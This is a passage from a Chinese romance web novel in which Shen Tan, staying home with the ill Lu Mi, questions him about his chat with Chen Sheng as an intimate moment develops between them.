陈生忍不住捅了捅周风胳膊:“刚刚沈谈是笑了吧?他怎么装成这副德行。” 上次在餐厅他只以为沈谈是想给梦中情人留下好印象,没想到沈谈现在还是这幅模样。 周风一动不动,“老板听力很好。” “他又不能打死我。”陈生说着就闭嘴了。 周风瞥了他一眼,转身的时候拎着他胳膊一并拖了出去。 路弥没注意门口,等他注意到的时候客厅只剩下他跟沈谈两人。 见沈谈已经开始看文件,路弥张了张嘴迟疑许久,小心翼翼开口:“你不用留在家里……” 他知道沈谈大概率是因为自己才留在家里。 “为什么不用?你是觉得我在家你不自在?”沈谈没抬头,依然在看着文件。 那堆文件看起来密密麻麻。 路弥连忙摇头,“没有不自在,但是王姨会照顾好我。” “王姨有事回家了,现在家里只有我们两个人,我也没说我留在家里是为了照顾你。” 路弥微微一怔,垂下眼低低哦了声。 沈谈把文件放到膝盖上往后靠着沙发背,慢条斯理:“我活这么久没进过厨房,煮的东西吃了大概我们都会进医院,只不过怕你睡着了又要找我。”他说着拉住路弥的手,隔着衣服放到自己腹部位置,不偏不倚正好是路弥昨晚一直放着的那个地方。 路弥耳根腾一下就红了,看着沈谈不知所措,外面天还完全亮着,他不知道沈谈要干什么。 但沈谈并没有别的举动,只是摁着他的手,“刚刚和陈生聊了什么?” 以陈生那个性格,不可能不和路弥说话。 沈谈一说话,路弥就感觉手下那片地方在动,他也不敢把手缩回来,只低着头低声应答:“聊了游戏。” “他约你打游戏了吗?”沈谈的语气听起来只是很正常的聊天,但又很像查岗。 路弥点头。 沈谈侧过身上半身往路弥那儿倾,几乎快和路弥鼻尖抵着鼻尖,“你答应了吗?” 路弥呼吸顿了一下,摇头,“还没有。” “意思是我回来打断了你们聊天,你还没来得及答应?”沈谈指腹摩挲着路弥手背。 他多少还是有些不愿让路弥跟陈生接触,不然也不会故意说这种审讯一样的话。 但至少陈生是他熟悉的人,否则他也不会让陈生来送餐。 路弥抿着唇摇头,“没有,我没有时间跟他打游戏,也不想。” 他不懂沈谈这话里的意思,到底是在责备他,还是在试探他。 “他游戏应该玩得很菜,你要跟他打游戏,肯定是你在带他。”沈谈一只手抚在路弥脸上,“他比我小几岁,不是什么坏人,就是说话不经大脑,不然也不会没法继承家业,只能去开餐厅。” 一时间路弥不知道沈谈这是在夸陈生还在骂陈生。 路弥低低哦了声,“你们关系很好。” 说完他才意识到自己说了什么不该说的。 他似乎有些太在意陈生的存在。 甚至可以说是羡慕。 但他没资格去管沈谈的朋友圈。 “算不上很好,只是为数不多的朋友。”沈谈似乎并不在意,手指摁在路弥因为病气略显苍白的唇上,鼻尖蹭上路弥的鼻尖。 生了病唇太干涩,路弥伸出舌尖去润湿唇部,柔软又湿润的舌尖触碰到沈谈指尖。 他吓了一跳,又没立马缩回去,只扬起眼皮颤着睫毛观察沈谈神色。 明明看起来很害怕,唇瓣却微张着,试探着。 沈谈手指往里探,垂眸沉声:“你好像很讨厌他。”